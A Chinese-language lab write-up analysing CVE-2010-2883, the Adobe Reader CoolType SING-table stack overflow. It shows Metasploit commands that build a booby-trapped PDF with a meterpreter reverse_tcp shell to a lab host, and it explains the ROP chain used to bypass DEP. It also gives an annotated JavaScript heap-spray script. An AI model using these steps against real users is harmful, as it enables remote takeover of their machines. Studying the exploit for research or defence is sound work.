CVE-2010-2883漏洞分析

系列 - 漏洞战争
  • 这个漏洞的例子来自《漏洞战争:软件漏洞分析精要》,一本关于漏洞挖掘的书,里面很多经典的例子值得学习。

  • 本文主要对第二章的 CVE-2010-2883 漏洞进行分析,这个漏洞是一个栈溢出漏洞,其原理是通过构造一个特殊 PDF 文件,使得程序在读取该文件时,导致栈溢出。

  • Adobe Reader 中的 CoolType.dll 在解析 TTF 字体文件 SING 表的 uniqueName 字段时,由于没有检查长度直接调用了strcat 函数,将 uniqueName 拷贝到栈中(局部变量),造成栈缓冲区溢出漏洞。

  • 当用户打开特制的 PDF 就有可能导致任意代码执行

Aodbe Reader?
Adobe Reader 是由美国软件公司 Adobe Systems 推出的电子阅读器软件,可以用来打开和阅读 PDF 文件。它是一款免费的软件,支持各种平台,包括 Windows、Mac OS、Android 和 iOS 等。它具有搜索、打印、注释等功能,可以方便用户对 PDF 文件进行浏览和编辑。Adobe Reader 的优势在于能够保证文档的完整性和精确性,并且有多种安全功能,如密码保护、权限控制等。

Adobe Reader 和 Acrobat 9.x 9.4 之前的 CoolType.dll 以及 Windows 和 Mac OS X 上的 8.x 8.2.5 之前的 CoolType.dll。

  • metasploit 的使用,expolit 的编写。
  • 栈溢出漏洞调试技术
  • Heap Spray技术
  • 如何利用ROP绕过DEP

Metasploit是一款开源的渗透测试框架,提供了许多渗透测试相关的工具和模块。可以帮助安全研究人员在渗透测试中收集信息、执行攻击、检测漏洞等。接下来我们用metasploit来演示漏洞的利用过程。

环境 版本
操作系统 Windows XP Professional SP3 简体中文版
虚拟机 VMware Fusion 专业版 12.2.4 (20071091)
调试器 OllyDbg 吾爱破解 OllyDbg
漏洞软件 Adobe Reader 9.3.4
  • 进入 msf 终端,msfconsole
  • 搜索 exp:search adobe_cooltype_sing
  • 选择第二个 exp:use exploit/windows/fileformat/adobe_cooltype_sing
  • 设置 payload:set payload windows/meterpreter/reverse_tcp
  • payload 设置 vmware 对应的网卡地址:set LHOST 172.16.31.1
  • payload 设置端口:set LPORT 4444
  • 生成 pdf 样本:exploit
  • 配置 handler:use exploit/multi/handler
  • 为 handler 设置相同的 payload(过程同上)
  • 执行 expolit 等待 🐤 上线:exploit
  • 发送 msf.pdf 到靶机,打开即可看到 meterpreter 获取了 shell
注意
漏洞利用过程中,adobe reader 会卡住崩溃,导致 session 丢失,所以需要快速使用migration命令将session迁移到其他进程中。

简单的示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# 搜索exp
msf6 > search adobe_cooltype_sing

Matching Modules
================

   #  Name                                            Disclosure Date  Rank   Check  Description
   -  ----                                            ---------------  ----   -----  -----------
   0  exploit/windows/browser/adobe_cooltype_sing     2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
   1  exploit/windows/fileformat/adobe_cooltype_sing  2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_cooltype_sing
# 使用第二个exp
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
# 设置载荷
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
# 查看载荷选项
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > options

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     198.18.0.1       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
# tab补全自动列出本机的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST
set LHOST 172.16.31.1                          set LHOST en4                                  set LHOST llw0
# 选择vmware对应的网卡地址
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 设置端口
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
# 生成木马文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
# 将msf.pdf发送到靶机,打开即可看到meterpreter获取了shell
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /Users/xxx/.msf4/local/msf.pdf
# 配置handler
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set LHOST 172.16.31.1
LHOST => 172.16.31.1
# 等待靶机上线
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.31.1:4444
# 获取到shell会话
[*] Sending stage (175686 bytes) to 172.16.31.140
[*] Meterpreter session 60 opened (172.16.31.1:4444 -> 172.16.31.140:1403) at 2022-12-05 23:32:48 +0800
# Adobe程序会卡顿崩溃,所以需要尽快将session转移到另一个进程,这里选择exeplore.exe
meterpreter > ps

# Process List

PID PPID Name Arch Session User Path

---

2184 3640 explorer.exe x86 0 THANATOS-8649E8\Administrator C:\WINDOWS\Explorer.exe
# 转移到explorer.exe进程
meterpreter > migrate 2184
[*] Migrating from 3528 to 2184...
# 查看靶机系统信息
meterpreter > sysinfo
Computer        : THANATOS-8649E8
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
/images/2022-12-05-23-52-28.png

实施过程中有很多知识点不甚明了,比如msf.pdf如何生成sending stage发送的是什么,这里先不展开细说,后面再一一补充。

先看看msf.pdf文件格式,以及 TTF 字体文件格式,然后再结合 IDA静态分析OD动态调试,分析漏洞的产生。

PDF文件格式
PDF(Portable Document Format)是一种通用的文档格式,可以在各种设备上保持图文内容完整性。它由美国软件公司 Adobe Systems 公司于 1993 年发明,并于 2008 年成为国际标准。PDF 文件的特点是支持多种格式的文本、图形和多媒体内容,并可以加密保护文件内容。它通常用于发布和交流文档、表格、报告等信息。

PDF 文件是一种文档格式,它的结构由四部分组成:

  1. header
    • 文件头部,用于存储文件的基本信息,包括版本号、文件类型、标识符等。具体内容取决于 PDF 文件的版本和类型,通常格式为%PDF-x.y,版本历经了 1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0 多个版本。
  2. body
    • 文件内容部分,包含文档的内容信息,由一系列的文档对象组成。文档对象可以是文本对象、图形对象、图像对象等。文本对象用于存储文档中的文本内容,可以指定字体、颜色、大小等样式。图形对象用于存储文档中的图形信息,可以指定线条、填充、形状等特征。图像对象用于存储文档中的图像信息,可以指定格式、大小、色彩等属性。
  3. xref table
    • 交叉引用表,用于记录文档对象的位置信息。它的结构由一系列的交叉引用记录组成,每个记录都由一个偏移量和一个generation number组成。偏移量指示文档对象在文件中的位置,generation number用于标识文档对象是否存在。它通常用整数值来表示,如果文档对象存在,则generation number的值为 0;如果文档对象不存在,则generation number的值为 1。
  4. trailer
    • 文件尾部,包括 trailer 字典,它有助于找到文件的每个部分, 并列出可以在不处理整个文件的情况下读取的各种元数据。

pdfstreamdumper 打开msf.pdf文件,可以看到它的结构如下:

/images/2022-12-06-14-40-46.png

对象 10 是TTF字体对象,对象 12 是 javascript 脚本对象

TTF对象包含一个 SING 表,SING 技术是 Adobe 公司推出的一种高效的字符渲染技术,它主要用于实现文本的快速渲染和显示。它不仅可以用于解决“外字”(Gaiji)的问题,还能够应用于处理各种常见的文本内容。支持多种字体格式,如 TrueType、OpenType 等。

所以字体文件一般都允许携带 SING 表,字体的其它表不做深究,来看下 SING 表的结构:

TTF表目录结构如下:

/images/2022-12-06-15-02-50.png
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct TableEntry
{
    char tag[4];        // 四个字符"SING"
    unsigned long checkSum;
    unsigned long offset;      // SING表的偏移量
    unsigned long length;   // SING表的长度
};

struct SING
{
    unsigned short tableVersionMajor;
    unsigned short tableVersionMinor;
    unsigned short glyphletVersion;
    unsigned short permissions;
    unsigned short mainGID;
    unsigned short unitsPerEm;
    short vertAdvance;
    short vertOrigin;
    unsigned char uniqueName[28];
    unsigned char METAMD5[16];
    unsigned char nameLength;
    unsigned char *baseGlyphName;
};

结合pdfstreamdumperdump 出来的内容,很容易找到 SING 表的TableEntry,offset 成员指向的就是 SING 表的起始地址

/images/2022-12-06-15-36-28.png

uniqueName字段在SING表 + 16 的位置, 上图中 SING 表地址的下一行位置,数据为 DA 65 B9 87 ...。指向的数据将最为strcat的第二个参数。

IDA加载adobe reader安装目录下的CoolType.dll,搜索SING字符串,交叉引用, 找到引用位置不远处有一个strcat函数,说明定位到了漏洞函数。

将上面的两个 C 结构体导入到IDA中,然后对v18右键,转换成SING结构体指针

从反编译结果可以看出,strcat函数的第一个参数为局部变量,且没有对uniqueName长度做检查,从而导致了栈溢出。

/images/2022-12-06-16-01-40.png

来到函数头,发现有安全 cookie,存在GS机制

/images/2022-12-06-19-05-48.png

010 editor打开目标 exe,发现开启了基址随机化ASLR

/images/2022-12-06-19-13-14.png

打开adobe reader软件, OD 附加进程,ctrl+g跳转到静态分析得到的strcat调用地址0x0803DD74,F2 设置断点。F9 让软件跑起来。

然后双击样本msf.pdf,成功断在 strcat 位置,F8 步过,此时查看堆栈窗口。

/images/2022-12-06-16-42-04.png

返回地址已经被覆盖为0x4A82A714,右键反汇编窗口跟随。

/images/2022-12-06-16-43-49.png

跳转到pop esp;指令,这里运用了ROP技术。

什么是ROP技术?

ROP(Return-Oriented Programming)是一种高级攻击技术,用于在无法直接执行恶意代码的情况下,通过控制流程来执行攻击。它主要用于绕过程序的安全防护措施,如代码签名验证数据执行保护(DEP)等。

ROP 技术与栈溢出漏洞相关,利用漏洞将恶意代码写入栈中,并通过控制程序的指令流来执行恶意代码。攻击者通常会构造一个包含多个指令的序列,该序列中的每个指令都是在目标程序中已经存在的正常指令,可以在不触发异常的情况下执行。这些指令序列称为gadget。攻击者可以通过将多个 gadget 组合起来,攻击者可以在不能执行恶意代码的情况下,执行攻击。

ROP 技术通常与 POP ESP 指令结合使用,即将栈顶指针弹出,指向恶意代码。当程序流经 POP ESP 指令时,栈顶指针会指向恶意代码,导致程序执行恶意代码。通过这种方式,攻击者可以在不能直接执行恶意代码的情况下,通过控制程序流来执行攻击。

ROP 技术具有一定的难度,需要构造复杂的序列,并且需要在攻击目标中搜寻足够多的 gadget。同时,ROP 技术也可能会受到操作系统的限制,导致攻击无法成功。

在使用 ROP 技术进行攻击时,攻击者可以通过不同的方式来控制程序的指令流,如通过硬编码 gadget 序列,或通过搜索程序中的 gadget 来动态构造序列。无论使用哪种方式,ROP 技术都是一种高级的攻击手段,能够有效绕过程序的安全防护措施,执行攻击。

pop esp将栈中跳转地址下一地址的内容0x0C0C0C0C赋值给 esp 寄存器,这时候栈为0x0C0C0C0Cret等同于pop eip,当执行ret指令后,将0x0C0C0C0C指向的内容赋值给eip

观察0x0C0C0C0C位置的 rop 链,调用的都是 icucnv36.dll库中的地址,因为这个库没有开启aslr 保护。

0x0C0C0C0C处的 rop 链是什么时候创建出来的?这里我们需要研究一下HeapSpray堆喷技术。

什么是HeapSpray堆喷射?

堆喷射是在 shellcode 的前面加上大量的 slide code(跳板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得内存被大量的注入代码占据。然后通过结合其他漏洞控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。

常见的 slide codeNOP 指令,还有一些类 NOP 指令,比如 0x0c,0x0d 等。它们的共同特点都是不会影响 shellcode 的执行。

随机申请大量内存,如何准确的跳转到 shellcode 上呢?这就是slide code的作用,如果 shellcode 前面有很长的 side code,只要跳转到 slide code 范围内的任意地址,最后都能执行 shellcode。

堆内存分配是随机的,没有规律,所以需要大量分配,由于起始分配地址很大,堆很可能覆盖到地址:0x0a0a0a0a,0x0c0c0c0c,0x0d0d0d0d 等,为了稳定覆盖到 0x0c0c0c0c 地址,一般申请内存大小为 200M

加载 pdf 的时候,程序先执行 pdf 中的 js 脚本,在 js 中大量申请堆内存,覆盖到 0x0c0c0c0c 地址。所以,上面两条指令执行后,才真正拿到了控制权。

我们想要知道程序是怎么读取栈区进行跳转。继续往下走,来到call dword ptr ds:[eax],eax 处于我们覆盖的栈数据地址范围内。

/images/2022-12-07-14-07-04.png

跳转过去,看到三条指令。调整 ebp 我们覆盖的栈区,strcat dest+4 地址。然后执行 leave 修改 esp,leave 作用类似于mov esp,ebp/pop ebp。执行 retn 指令后,将跳转执行pop esp/retn,进入到0x0C0C0C0C 执行 我们的 shellcode。

TODO: 既然能调整 esp 了,为什么要再加一层跳转?

/images/2022-12-07-14-08-56.png

继续单步调试,分析0x0C0C0C0C位置的 rop

调用CreateFileA创建临时文件iso88591

/images/2022-12-06-17-25-57.png

调用CreateFileMappingA创建文件映射内核对象。

/images/2022-12-06-18-00-29.png

调用MapViewOfFile将文件映射对象映射到当前应用程序的地址空间。

/images/2022-12-06-18-02-32.png

调用memcpy函数将 shellcode 写入到 MapViewOfFile 返回的地址。这段内存分配了可读可先可执行权限,于是就绕过了 DEP 保护。

/images/2022-12-06-18-05-34.png

接下来循环解密 shellcode

/images/2022-12-06-18-38-20.png

跳转到 0x037400B0 执行解密后的 shellcode

/images/2022-12-06-18-43-56.png
  1. 双击msf.pdf,首先加载 js 脚本
  2. js 堆喷射 shellcode 到堆地址 0x0C0C0C0C范围内。 shellcode = rop链 + payload(解密指令+密文)
  3. 解析 SING 表的uniqueName,触发栈溢出,通过 stack_data 的指令跳转到 0x0C0C0C0C 执行 rop 链。
  4. 执行 rop 链,创建可读可写可执行内存,将 payload 复制到内存。跳转到 payload
  5. 解密,执行 payload。
  • 分析 js 堆喷射代码

我们将 js 脚本提取出来,一行行分析。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// payload太长了,这里省略掉。
var var_payload = unescape("escaped_payload");

// slide code 0x0c0c0c0c ==> or al,0x0c;or al,0x0c;
// 关于slide code 前面已经介绍过了
var var_c = unescape(
  "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"
);

// slide code 扩充到 0xffe4 = 65536 - 20 - 8 长度
while (var_c.length + 20 + 8 < 65536) var_c += var_c;
// 然后截取前面 0xbe8 = 0x0c0c-0x24 的长度
var_b = var_c.substring(0, (0x0c0c - 0x24) / 2);

// 在 截取的slide code 后面加上 payload
var_b += var_payload;

// 继续在后面加上扩充的slide code(长度65536),目的是为了让整个长度大于等于65536
var_b += var_c;

// 65536 / 2 是因为js中的字符串是unicode编码,每个字符占两个字节
// 得到的字符串实际字节数量为65536
// 数据结构为:sidecode(0xbe8) + payload + sidecode
var_shellcode = var_b.substring(0, 65536 / 2);

// 将得到的shellcode(长度65536)填充为 0x80000 长度
// windows下HeapCreate创建堆大小为0x80000
// 这里shellcode实际的字节数量为:`0x100000 = 0x80000 * 2`
while (var_shellcode.length < 0x80000) var_shellcode += var_shellcode;
// 相当于16个shellcode拼接在一起, 最后一个shellcode截断长度为0xefe8, 目的是为了加速喷射,因为是精准喷射,所以不需要填充整个堆。
// unicode编码,每个字符占两个字节。截取后的字符串实际字节数量为 0xfefe8 = (0x80000 - (0x1020 - 0x08) / 2) * 2
var_3 = var_shellcode.substring(0, 0x80000 - (0x1020 - 0x08) / 2);

// 申请0x1f0块堆,填充数据。
// 填充的数据长度为 0xfefe8 + (("s" + 字符串截断符0).length)* 2 = 0xfefec
var var_4 = new Array();
for (var_i = 0; var_i < 0x1f0; var_i++) var_4[var_i] = var_3 + "s";

windows 堆分配按照 64kb 分配,堆块的首地址对齐 0x10000。堆块的大小为 0x100000(1M)

所以,只要低四位为 0C0C 的地址,指向 payload,就能达到精准喷射。

经过上面的分析,我们知道 shellcode 的大小为 0x10000(1M), payload 的地址在 shellcode 偏移 0xbe8 的位置。

如何理解前面 slide code 的长度0xbe8 = 0x0c0c-0x24? 是因为每个内存块(65536)的头部有一些额外信息

假设堆的起始地地址为0xc0c00000xc0c0000 + 0x24正好指向 payload:0xc0c0c0c = 0xc0c0000 + 0x24 + 0xbe8